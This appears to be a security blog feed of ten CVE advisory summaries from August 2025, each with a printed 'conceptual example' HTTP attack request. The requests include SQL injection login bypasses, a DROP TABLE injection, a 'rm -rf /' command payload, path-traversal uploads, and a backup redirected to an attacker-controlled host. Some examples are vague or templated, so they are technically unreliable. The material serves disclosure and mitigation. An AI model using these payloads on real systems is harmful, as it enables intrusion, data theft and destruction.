Author: Ameeba

CVE-2025-9251: High-Risk Buffer Overflow Vulnerability in Linksys Wi-Fi Extenders
Overview

In the ever-evolving landscape of cybersecurity, a new high-risk vulnerability, CVE-2025-9251, has been discovered in a range of Linksys Wi-Fi extenders. This vulnerability impacts several Linksys models including RE6250, RE6300, RE6350, RE6500, RE7000, and RE9000. It has been identified that this security flaw can be triggered remotely, thus raising a critical concern for users and network administrators. Given its high CVSS severity score, it is crucial to understand the extent of this vulnerability, the systems it affects, and the potential ways to mitigate this exploit.

Vulnerability Summary

CVE ID: CVE-2025-9251
Severity: High (CVSS: 8.8)
Attack Vector: Remote, Network Access
Privileges Required: None
User Interaction: None
Impact: Potential System Compromise or Data Leakage

Affected Products

Product | Affected Versions

Linksys RE6250 | 1.0.013.001
Linksys RE6300 | 1.0.04.001
Linksys RE6350 | 1.0.04.002
Linksys RE6500 | 1.1.05.003
Linksys RE7000 | 1.2.07.001
Linksys RE9000 | 1.0.04.002

How the Exploit Works

The security flaw resides in the function ‘sta_wps_pin’ of the file ‘/goform/sta_wps_pin. This function, when manipulated with an argument ‘ssid’, results in a stack-based buffer overflow. A buffer overflow is a type of software vulnerability that exists when the data written to a buffer exceeds its capacity, thus allowing an attacker to overwrite adjacent memory locations.

Conceptual Example Code

The following is a conceptual example of how the vulnerability might be exploited. Please note that this is a hypothetical scenario and does not represent a real exploit.
```
POST /goform/sta_wps_pin HTTP/1.1
Host: vulnerablelinksys.com
Content-Type: application/json
{ "Ssid": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..." }
```
In the above example, the Ssid parameter is filled with a large number of ‘A’ characters, thereby causing a buffer overflow in the target system.

Mitigation

While it is evident that the vendor has yet to respond to this disclosure, it is strongly recommended that users apply vendor-provided patches as soon as they become available. In the meantime, users can implement a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as temporary mitigation. Regular monitoring of network traffic for any anomalies can also aid in detecting any potential attacks.
August 31, 2025
CVE-2025-53120: Path Traversal Vulnerability in the Unified PAM Server Allows Unauthenticated Uploads
Overview

The cybersecurity landscape is constantly evolving with new threats and vulnerabilities emerging daily. One of the most recent vulnerabilities to come to light is CVE-2025-53120, a path traversal vulnerability in the unauthenticated upload functionality of the Unified PAM server. This vulnerability, if exploited, allows a malicious actor to upload binaries and scripts to the server’s configuration and web root directories, leading to remote code execution.
Due to the severity of the potential impact, this vulnerability is of significant concern for organizations using the Unified PAM server. The potential for system compromise or data leakage poses a significant risk to the confidentiality, integrity, and availability of sensitive information.

Vulnerability Summary

CVE ID: CVE-2025-53120
Severity: Critical (9.4 CVSS)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Unified PAM Server | All versions prior to patch

How the Exploit Works

The exploit takes advantage of a path traversal vulnerability in the unauthenticated upload functionality. By crafting a specific payload, an attacker is able to bypass the server’s directory restrictions. This allows the attacker to upload malicious binaries and scripts to the server’s configuration and web root directories, which are typically restricted areas. Once uploaded, these malicious files can be executed remotely, giving the attacker control over the server.

Conceptual Example Code

This conceptual example demonstrates a malicious HTTP POST request that could exploit the vulnerability:
```
POST /unauthenticated/upload HTTP/1.1
Host: target.example.com
Content-Type: application/octet-stream
Content-Disposition: form-data; name="file"; filename="../../webroot/malicious_script.sh"
{ binary data }
```
In this example, the attacker uses a relative path (‘../../webroot/malicious_script.sh’) as the filename to traverse back to the web root directory. The server, failing to validate and sanitize the filename, saves the uploaded file to this location, effectively allowing the attacker to place and later execute a malicious script on the server.

Mitigation Guidance

It is strongly recommended that entities using the Unified PAM Server apply the latest vendor patch to mitigate this vulnerability. In the absence of a patch, entities can use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary measure, configuring them to detect and block traffic patterns consistent with the exploitation of this vulnerability. However, these measures should be seen as temporary and complement the pending application of the vendor patch, which directly addresses and eliminates the vulnerability.
In addition, entities should review and strengthen their security controls around file uploads, including implementing input validation and sanitization routines that prevent directory traversal attacks. Regular security audits and penetration testing can also help uncover and mitigate such vulnerabilities before they can be exploited.
August 31, 2025
CVE-2025-50722: Remote Code Execution Vulnerability in sparkshop v.1.1.7
Overview

The CVE-2025-50722 vulnerability is a critical flaw in the sparkshop e-commerce platform, specifically version 1.1.7. This vulnerability can allow an attacker to remotely execute arbitrary code via the Common.php component, which may lead to a complete system compromise. It is a significant security concern for any business or individual utilizing this particular version of the sparkshop software, as it can potentially lead to unauthorized access, data leakage, and further exploitation of the system.

Vulnerability Summary

CVE ID: CVE-2025-50722
Severity: Critical (9.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Remote code execution, potential system compromise or data leakage

Affected Products

Product | Affected Versions

Sparkshop | v.1.1.7

How the Exploit Works

The vulnerability exists due to insecure permissions in the Common.php component of the Sparkshop platform. This insecure configuration can be exploited by a remote attacker without requiring any user interaction or special privileges. By crafting a specific HTTP request containing malicious payload and sending it to the server, the attacker can trick the system into executing the arbitrary code.

Conceptual Example Code

Here’s a conceptual example of how an HTTP request might exploit this vulnerability:
```
POST /Common.php HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"command": "system('rm -rf /');"
}
```
In the above example, the “command” parameter is manipulated to carry out a dangerous operation, effectively deleting all files in the server. However, this is merely an illustrative example, and the actual malicious payload could be any command that the attacker wishes to execute on the compromised system.

Mitigation

Users of Sparkshop v.1.1.7 are advised to apply the latest security patch from the vendor as soon as possible. Until the patch can be applied, users can use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as temporary mitigation to monitor and block malicious requests. It’s also recommended to regularly update all software components to their latest versions to prevent exploitation of known vulnerabilities.
August 31, 2025
CVE-2025-26496: Type Confusion Vulnerability in Salesforce Tableau Server and Desktop
Overview

The cybersecurity landscape is continually evolving with new vulnerabilities cropping up every other day. One such vulnerability that has come to the fore is CVE-2025-26496. This is a ‘Type Confusion’ vulnerability that affects Salesforce Tableau Server and Desktop on both Windows and Linux platforms. This vulnerability is of high significance due to its potential to allow local code inclusion, opening up systems and data to potential compromise and leakage.
The severity of this vulnerability is underscored by its CVSS severity score of 9.3, which falls into the critical range. It’s a wake-up call for organizations using the affected Salesforce Tableau versions to take immediate action to mitigate any potential risks.

Vulnerability Summary

CVE ID: CVE-2025-26496
Severity: Critical (9.3 CVSS score)
Attack Vector: Local Code Inclusion
Privileges Required: User level
User Interaction: Required
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Tableau Server | Before 2025.1.3
Tableau Desktop | Before 2024.2.12, Before 2023.3.19

How the Exploit Works

The vulnerability stems from the use of an incompatible type to access a resource in the File Upload modules of the affected Tableau products. This ‘Type Confusion‘ can be exploited by an attacker to include local code within the system. Once the code is included, it allows for manipulation of system behavior, potentially leading to system compromise and data leakage.

Conceptual Example Code

Given the nature of the vulnerability, an attacker could potentially exploit it by uploading a malicious file. Here’s an example of how this might look:
```
POST /file_upload HTTP/1.1
Host: vulnerable.tableau.example.com
Content-Type: application/octet-stream
{ "file": "malicious_file.exe" }
```
In this hypothetical example, the attacker is uploading a malicious executable file (.exe) via the file upload module. If the system is vulnerable and does not properly handle the incompatible file type, this could lead to the inclusion and execution of the malicious code.
Please note that this is a simplified example for illustrative purposes. Real-world attacks can be much more complex and may not necessarily follow this exact pattern.
August 31, 2025
CVE-2025-55575: SQL Injection vulnerability in SMM Panel 3.1
Overview

CVE-2025-55575 is a severe SQL Injection vulnerability affecting SMM Panel 3.1. This vulnerability allows remote attackers to exploit the system and obtain sensitive information. The issue arises from a crafted HTTP request with action=service_detail. Given the ubiquitous use of SMM Panel in managing social media marketing, this vulnerability poses a critical risk to businesses worldwide. It is crucial to address it promptly to avoid potential system compromises or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-55575
Severity: Critical (9.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, sensitive data leakage

Affected Products

Product | Affected Versions

SMM Panel | 3.1

How the Exploit Works

The vulnerability exploits the lack of input validation in the SMM Panel. Attackers can craft a specific HTTP request with an action=service_detail parameter. This request can contain SQL injection payloads, which are then processed by the SMM Panel. Once processed, the malicious SQL command can be executed against the underlying database management system, potentially allowing remote attackers to gain unauthorized access to sensitive data or even control over the system.

Conceptual Example Code

Here’s a conceptual example of how an attacker might attempt to exploit this vulnerability. This example demonstrates a crafted HTTP POST request:
```
POST /panel/service_detail HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
action=service_detail&service_id=1' OR '1'='1';-- -
```
In the above example, the attacker manipulates the ‘service_id’ parameter to include a SQL Injection payload (`1′ OR ‘1’=’1′;– -`). This payload will always evaluate to true, potentially revealing all the records from the database or performing other malicious activities, depending on the database permissions and structure.

Prevention and Mitigation

To mitigate the risk posed by this vulnerability, it’s recommended to apply the vendor patch as soon as it is available. In the absence of a patch, organizations can use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to detect and prevent potential exploitation attempts. These systems can be configured to monitor and block suspicious traffic patterns resembling SQL Injection attacks. Additionally, implementing secure coding practices, such as input validation and parameterized queries, could prevent similar vulnerabilities in the future.
August 31, 2025
CVE-2025-4609: Remote Sandbox Escape Vulnerability in Google Chrome
Overview

The vulnerability, identified as CVE-2025-4609, is a serious flaw that affects Google Chrome on Windows. It’s rooted in the incorrect handle provision under unspecified circumstances in Mojo, a key component of Google Chrome. This vulnerability can potentially be exploited by remote attackers to perform a sandbox escape through a malicious file, posing significant threats to the user’s system security and data integrity.
The severity of this vulnerability is high, as it grants the attacker a considerable degree of control over the compromised system. This can lead to a variety of negative outcomes such as unauthorized access to sensitive data, manipulation of system functionalities, or even a complete system takeover.

Vulnerability Summary

CVE ID: CVE-2025-4609
Severity: High (CVSS 9.6)
Attack Vector: Remote
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Google Chrome | Prior to 136.0.7103.113

How the Exploit Works

The exploit works by exploiting the incorrect handle provision in Mojo in Google Chrome. A handle is a reference to an object and is used by programs to access system resources. If an attacker can manipulate this handle, they can cause the system to behave in unintended ways.
In this case, the incorrect handle can allow an attacker to escape the sandbox environment that Chrome uses to isolate potentially harmful code. This is achieved by the attacker sending a malicious file that exploits this vulnerability, allowing them to execute code outside of the sandbox and potentially gain control over the affected system.

Conceptual Example Code

A conceptually simplified example might look something like this:
```
POST /malicious/file HTTP/1.1
Host: target.example.com
Content-Type: application/octet-stream
{ "malicious_payload": "EXPLOIT-CODE-HERE" }
```
In this example, “EXPLOIT-CODE-HERE” would be replaced with the actual malicious code that exploits the vulnerability in the handle provision. This malicious file is then sent to the target system, where it can potentially escape the sandbox environment of the browser and execute malicious actions on the system.
Please note that this is a conceptual example and is oversimplified. The actual exploit would involve more complex techniques and malicious code to successfully exploit the vulnerability.
August 31, 2025
CVE-2025-53118: Critical Authentication Bypass Vulnerability in Unified PAM
Overview

In the world of cybersecurity, ensuring the integrity and safety of system data is paramount. Any vulnerability that poses a threat to these principles is a cause for concern. CVE-2025-53118 is one such vulnerability that affects the Unified Pluggable Authentication Modules (PAM), a suite of shared libraries that enables the local system administrator to choose how applications authenticate users.
This vulnerability allows an unauthenticated attacker to bypass authentication procedures and control administrator backup functions. This could potentially lead to the compromise of passwords, secrets, and application session tokens stored by the Unified PAM. Given the severity of this vulnerability, it is vital for system administrators and cybersecurity practitioners to understand the details and take immediate mitigation actions.

Vulnerability Summary

CVE ID: CVE-2025-53118
Severity: Critical (9.8 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, data leakage

Affected Products

Product | Affected Versions

Unified PAM | All versions prior to 1.3.2

How the Exploit Works

The vulnerability lies in the backup functionality of the Unified PAM. An unauthenticated attacker can send specially crafted packets to the server hosting the Unified PAM. These packets mimic the commands that an administrator would send for backup operations. If the server processes these packets, the attacker gains control over the backup functions.
This control allows the attacker to view, modify, or delete any data that the backup function has access to. This includes sensitive data like passwords, secrets, and application session tokens. The attacker could use this data for further malicious actions, such as escalating their privileges on the system or launching attacks against other systems.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited. This is a sample HTTP request that an attacker might send:
```
POST /admin/backup/start HTTP/1.1
Host: vulnerable-server.example.com
Content-Type: application/json
{ "command": "start", "destination": "attacker-controlled-server.example.com" }
```
In this example, the attacker sends a command to start a backup operation and sends the backup data to a server controlled by them.
August 31, 2025
CVE-2025-56214: High-Risk SQL Injection Vulnerability in phpgurukul Hospital Management System 4.0
Overview

CVE-2025-56214 is a high-severity vulnerability that has been identified in the phpgurukul Hospital Management System 4.0. This vulnerability, an SQL Injection flaw, leaves the software susceptible to potential data breaches and system compromise. SQL Injection is a common web application attack that manipulates the SQL queries to gain unauthorized access to the database. Given that the Hospital Management System stores sensitive patient and hospital data, this vulnerability poses a significant risk to confidentiality, integrity, and availability of the information.

Vulnerability Summary

CVE ID: CVE-2025-56214
Severity: High (CVSS: 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

phpgurukul Hospital Management System | 4.0

How the Exploit Works

The vulnerability arises in the index.php file of the phpgurukul Hospital Management System, wherein the ‘username’ parameter is not properly sanitized before being used within an SQL query. An attacker can exploit this by injecting malicious SQL code into the ‘username’ field in the login form. This malicious SQL code can modify the query to bypass authentication, extract sensitive data, or even execute commands with database privileges.

Conceptual Example Code

An example HTTP request exploiting this vulnerability could look like this:
```
POST /index.php HTTP/1.1
Host: targetHospital.com
username=' OR '1'='1'; -- &password=anything
```
In this example, the SQL statement in the back-end might look something like this:
```
SELECT * FROM users WHERE username='' OR '1'='1'; -- ' AND password='anything'
```
As ‘1’ equals ‘1’ is always true, this SQL statement will return the first user in the users table. If that user is an administrator, the attacker will gain administrative access to the Hospital Management System.

Mitigation and Prevention

Users of the phpgurukul Hospital Management System 4.0 are advised to apply the vendor patch immediately to remediate this vulnerability. In the absence of a patch, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. However, these are not long-term solutions, as they only detect and prevent known exploits, and may not defend against new or modified attacks.
Additionally, developers should also follow best practices such as the use of parameterized queries or prepared statements to prevent SQL injection vulnerabilities from arising in the first place.
August 31, 2025
CVE-2025-56212: SQL Injection Vulnerability in Hospital Management System 4.0
Overview

The Common Vulnerabilities and Exposures (CVE) system has recently identified a severe security vulnerability in the Hospital Management System 4.0 by phpgurukul. This vulnerability, designated CVE-2025-56212, exposes the system to SQL Injection attacks via the ‘docname’ parameter in the ‘add-doctor.php’ file. As Hospital Management Systems store and manage sensitive patient information, this vulnerability could lead to the compromise of critical patient data and system integrity if left unpatched. It’s imperative for stakeholders to understand the severity and potential impact of this vulnerability and take immediate steps to mitigate its effects.

Vulnerability Summary

CVE ID: CVE-2025-56212
Severity: Critical (9.8 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

phpgurukul Hospital Management System | 4.0

How the Exploit Works

The exploitation of this vulnerability involves the manipulation of input data within the ‘docname’ parameter of the ‘add-doctor.php’ file. An attacker could craft malicious SQL commands and inject them into this parameter. As the system is not properly sanitizing user inputs, the SQL commands would be executed directly on the database, leading to unauthorized read/write operations. This could result in unauthorized access, data corruption, or even total system compromise.

Conceptual Example Code

Here is a conceptual example of how this vulnerability might be exploited. In this case, an HTTP POST request is sent with a malicious SQL command embedded in the ‘docname’ parameter:
```
POST /add-doctor.php HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
docname=' OR '1'='1; DROP TABLE users; --
```
In this example, the SQL command `’ OR ‘1’=’1; DROP TABLE users; –` would delete the entire ‘users’ table from the database, leading to significant data loss and system disruption.

Mitigation Actions

To mitigate this vulnerability, it is recommended that users immediately apply the vendor patch once it becomes available. In the meantime, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used to monitor and filter out suspicious traffic. Regularly updating and patching software, as well as implementing proper input sanitization techniques, can also help prevent similar vulnerabilities in the future.
August 31, 2025
CVE-2025-50900: Critical Rebuild Web Interceptor Vulnerability
Overview

In today’s digital age, the importance of robust cybersecurity practices cannot be overstated. The exposure of vulnerabilities can lead to serious consequences, such as data breaches and system compromises. One such vulnerability is CVE-2025-50900, a critical security flaw found in getrebuild/rebuild 4.0.4. This vulnerability can potentially allow unauthenticated attackers to gain access to sensitive information or escalate their privileges within a system-an alarming prospect for organizations that prioritize data security and integrity.
The vulnerability lies within the source code class com.rebuild.web.RebuildWebInterceptor and can affect any organization or individual that relies on a version of the software that hasn’t been patched or updated. The severity of the issue is underscored by its Common Vulnerability Scoring System (CVSS) severity score of 9.8, which places it in the critical range.

Vulnerability Summary

CVE ID: CVE-2025-50900
Severity: Critical (9.8/10)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

getrebuild/rebuild | 4.0.4

How the Exploit Works

The vulnerability operates through the preHandle function in the RebuildWebInterceptor class. Here, the filter code uses CodecUtils.urlDecode(request.getRequestURI()) to acquire the URL-decoded request path. The code then checks if the path ends with /error. If it does, the Interceptor is skipped. Otherwise, the code redirects to the /user/login API.
This opens a loophole for unauthenticated attackers. They can manipulate the request path to end with /error, thereby bypassing the Interceptor and gaining access to sensitive information or even escalating their privileges within the system.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited:
```
GET /path/to/sensitive/data/error HTTP/1.1
Host: target.example.com
```
In this example, the attacker crafts a GET request to a sensitive data path and appends “/error” at the end. This bypasses the security Interceptor and allows the attacker to access the confidential information without needing to authenticate themselves first.

Mitigation Guidance

To mitigate this critical vulnerability, users are advised to apply the vendor patch as soon as it becomes available. In the meantime, the use of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as a temporary defense measure. It’s crucial to remember, however, that these are interim solutions and cannot replace the security offered by the official vendor patch.
August 31, 2025